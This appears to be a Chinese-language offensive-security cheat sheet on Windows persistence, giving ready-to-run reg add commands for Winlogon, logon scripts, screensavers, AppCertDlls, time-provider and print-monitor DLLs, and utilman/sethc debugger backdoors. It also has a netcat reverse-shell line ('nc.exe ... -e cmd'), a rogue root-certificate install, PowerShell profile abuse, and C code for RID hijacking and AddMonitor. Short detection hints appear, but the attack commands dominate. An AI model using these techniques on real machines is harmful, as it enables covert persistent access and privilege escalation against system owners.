Shell 在登录时执行
copy c:\executable.exe c:\windows\system32
reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /V "Shell" /T REG_SZ /D "explorer.exe,executable.exe" /F
reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /V "Shell" /T REG_SZ /D "c:\windows\system32\calc.exe" /F
Notify可在较旧的操作系统中找到。是用来放置WinLogon 事件的通知回调 DLL 文件。我们可以在此键下添加 DLL 条目以使其在登录期间被加载。
登录脚本
每次用户登录时都会运行登录脚本。旨在通过在会话启动期间自动执行一些命令,作为攻击者,我们可以滥用它来建立持久性
reg add "HKEY_CURRENT_USER\Environment" /v UserInitMprLogonScript /d "c:\script.bat" /t REG_SZ /f
script.bat:
start calc.exe
检测:监控注册表键值
劫持默认文件扩展名
这里以文本文件为例
.txt 扩展处理程序在以下注册表项中定义:
计算机\HKEY_CLASSES_ROOT\txtfile\shell\open\command
#新建一个批处理演示
start C:\Users\Administrator\Desktop\tools\netcat-1.11\nc.exe 127.0.0.1 443 -e cmd
start notepad.exe %1
.lnk 快捷方式
powershell.exe -c "invoke-item 起始位置; invoke-item c:\windows\system32\calc.exe"
屏幕保护程序 windows+L
屏幕保护程序由用户不活动触发。我们可以将这些屏幕保护程序设置为在一定时间不活动后运行我们的恶意软件以实现持久性。
reg add "HKEY_CURRENT_USER\Control Panel\Desktop" /v "SCRNSAVE.EXE" /t REG_SZ /d "c:\windows\system32\calc.exe" /f
配置用户多久不活动的时间,让我们的屏幕保护程序启动(以秒为单位)
reg add "HKEY_CURRENT_USER\Control Panel\Desktop" /v "ScreenSaveTimeOut" /t REG_SZ /d "10" /f
检测:排查winlogon.exe下的子进程
劫持Time Provider
Windows 操作系统使用时间提供程序与网络中的其他机器同步时间,以从其他网络设备获取准确的信息
w32time服务依赖于HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\W32Time\TimeProviders\NtpServer
reg add "HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\W32Time\TimeProviders\NtpServer" /v "DllName" /t REG_SZ /d "d:\comdll.dll" /f
攻击者可以用他的恶意 DLL 替换掉w32time.dll
启动 w32time 服务即可执恶意DLL
sc.exe start w32time
检测:排查svchost 的子进程
安装根证书
certutil.exe -addstore -f -user Root C:\hacker.cer
Powershell 配置文件
执行 PowerShell 时,它会查找存储在配置文件中的这些特殊设置。我们可以修改这些配置文件来执行任意命令,这里用它来实现持久性。
请注意,如果我们的配置文件由具有更高权限的帐户加载和执行,我们还可以通过这种方式提升权限。
$PROFILE | select *
echo "whoami > c:\test\whoami.txt" > $PROFILE 或者 echo c:\payload.exe > $PROFILE
cat $PROFILE
一旦受感染用户启动 powershell,我们的代码就会被执行
RID劫持
在windows系统内,使用rid区分用户组和用户账户,rid是安全标识符sid的一部分,每创建一个组或一个用户,都会往后递增一位,通常administrator的rid始终为500,而标准用户通常以1001开始。
RID(相对 ID,SID(安全标识符)的一部分)劫持是一种持久性技术,具有 SYSTEM 级别权限的攻击者将 RID 500(默认 Windows 管理员帐户)分配给某些低权限用户,有效地使低权限帐户下次登录时拥有管理员权限。
该技术最早是由这个大佬提出来的https://r4wsecurity.blogspot.com/2017/12/rid-hijacking-maintaining-access-on.html
HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users
存储了xxx用户
在用户登录/认证过程中使用的一些用户信息。具体来说,在0030
值的偏移处,有一些字节表示用户的 RID。我们可以将这 2 个字节更改为 0x1f4(500 - 默认管理员 RID),这将使用户xxxx
变成管理员权限
检测:查看日志, HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users*\F 是否有修改,特别是一个不熟悉的程序修改的就更加可疑。
在metasploit和empire内有比较成熟的模块
C实现:
#include
#include
int main()
{
HKEY hKey = NULL;
PCHAR KeyAddr = NULL;
DWORD KeySize;
DWORD KeyType;
BYTE Buffer[0x50] = { 0 };
KeyAddr = (PCHAR)"SAM\\SAM\\Domains\\Account\\Users\\000001F5";
RegOpenKeyExA(HKEY_LOCAL_MACHINE, KeyAddr, 0, KEY_ALL_ACCESS, &hKey);
RegQueryValueExA(hKey, "F", NULL, &KeyType, (LPBYTE)&Buffer, &KeySize);
Buffer[0x30] = (BYTE)0xf4; //hijack rid
Buffer[0x38] = (BYTE)0x14; //enable guest
RegSetValueExA(hKey, "F",NULL, KeyType, Buffer, KeySize);
RegCloseKey(hKey);
return 0;
}
AppCert DLL
如果有进程使用了CreateProcess、CreateProcessAsUser、CreateProcessWithLoginW、CreateProcessWithTokenW或WinExec
函数,那么此进程会获取HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SessionManager\AppCertDlls注册表项,此项下的dll都会加载到此进程。
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\AppCertDlls" /V "AppCert" /T REG_EXPAND_SZ /D "c:\payload.dll" /F
检测:监视AppCertDLL注册表值
RDP后门
如果对机器具有 RDP 访问权限,则可以使用设置这些 Image File Execution Option 键来实现持久性。IFEO劫持
在登录屏幕上,按 Windows 键+U
REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\utilman.exe" /t REG_SZ /v Debugger /d "C:\windows\system32\cmd.exe" /f
在登录屏幕时连按几次F5
REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /t REG_SZ /v Debugger /d "C:\windows\system32\cmd.exe" /f
垫片
https://pentestlab.blog/2019/12/16/persistence-application-shimming/
端口监视器
Windows 为用户提供打印功能(Windows Print Spooler Service),并允许用户添加端口监视器以获得更多可扩展性。端口监视器是一个 DLL,它连接假脱机服务和打印机,并允许将原始设备命令发送到打印机。我们可以通过添加我们自己的任意 dll 作为“监视器”来滥用它的持久性
基本上有两种方法来添加端口监视器,也就是您的恶意dll:通过注册表进行持久化,或者通过自定义Windows应用程序(AddMonitor函数)用于立即执行dll
注册表
copy c:\mal.dll c:\windows\system32\
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Print\Monitors\PortMonitor" /v Driver /t REG_SZ /d "mal.dll" /f
使用 AddMonitor 函数
#include "Windows.h"
int main() {
MONITOR_INFO_2 monitorInfo;
TCHAR env[12] = TEXT("Windows x64");
TCHAR name[12] = TEXT("Monitor");
TCHAR dll[12] = TEXT("test.dll");
monitorInfo.pName = name;
monitorInfo.pEnvironment = env;
monitorInfo.pDLLName = dll;
AddMonitor(NULL, 2, (LPBYTE)&monitorInfo);
return 0;
}
检测:排查spoolsv.exe
HOOK劫持整个系统
课程C语言部分大部分功能已实现,我们完全可以写一个R3层级别的全方位监控软件
武器化
https://github.com/mandiant/SharPersist
用C#编写的命令行工具,可以反射性的加载Cobalt Strike的“execute-assembly”命令或任何其他支持反射性加载.NET程序集的框架
execute-assembly SharPersist.exe xxxxxx
Rootkit
方法一:
利用现有驱动漏洞,实现获取ring0权限,并长期驻留。
方法二:
自己制作驱动,并添加数字签名,以加载进系统,并驻留。1.绕过Windows强制签名 2.绕过AV的驱动加载拦截
https://ktflash.gitbooks.io/ceh_v9/content/54_hiding_files.html
注册表拦截bypass
火绒+windefender:文章不便透露
360: 文章不便透露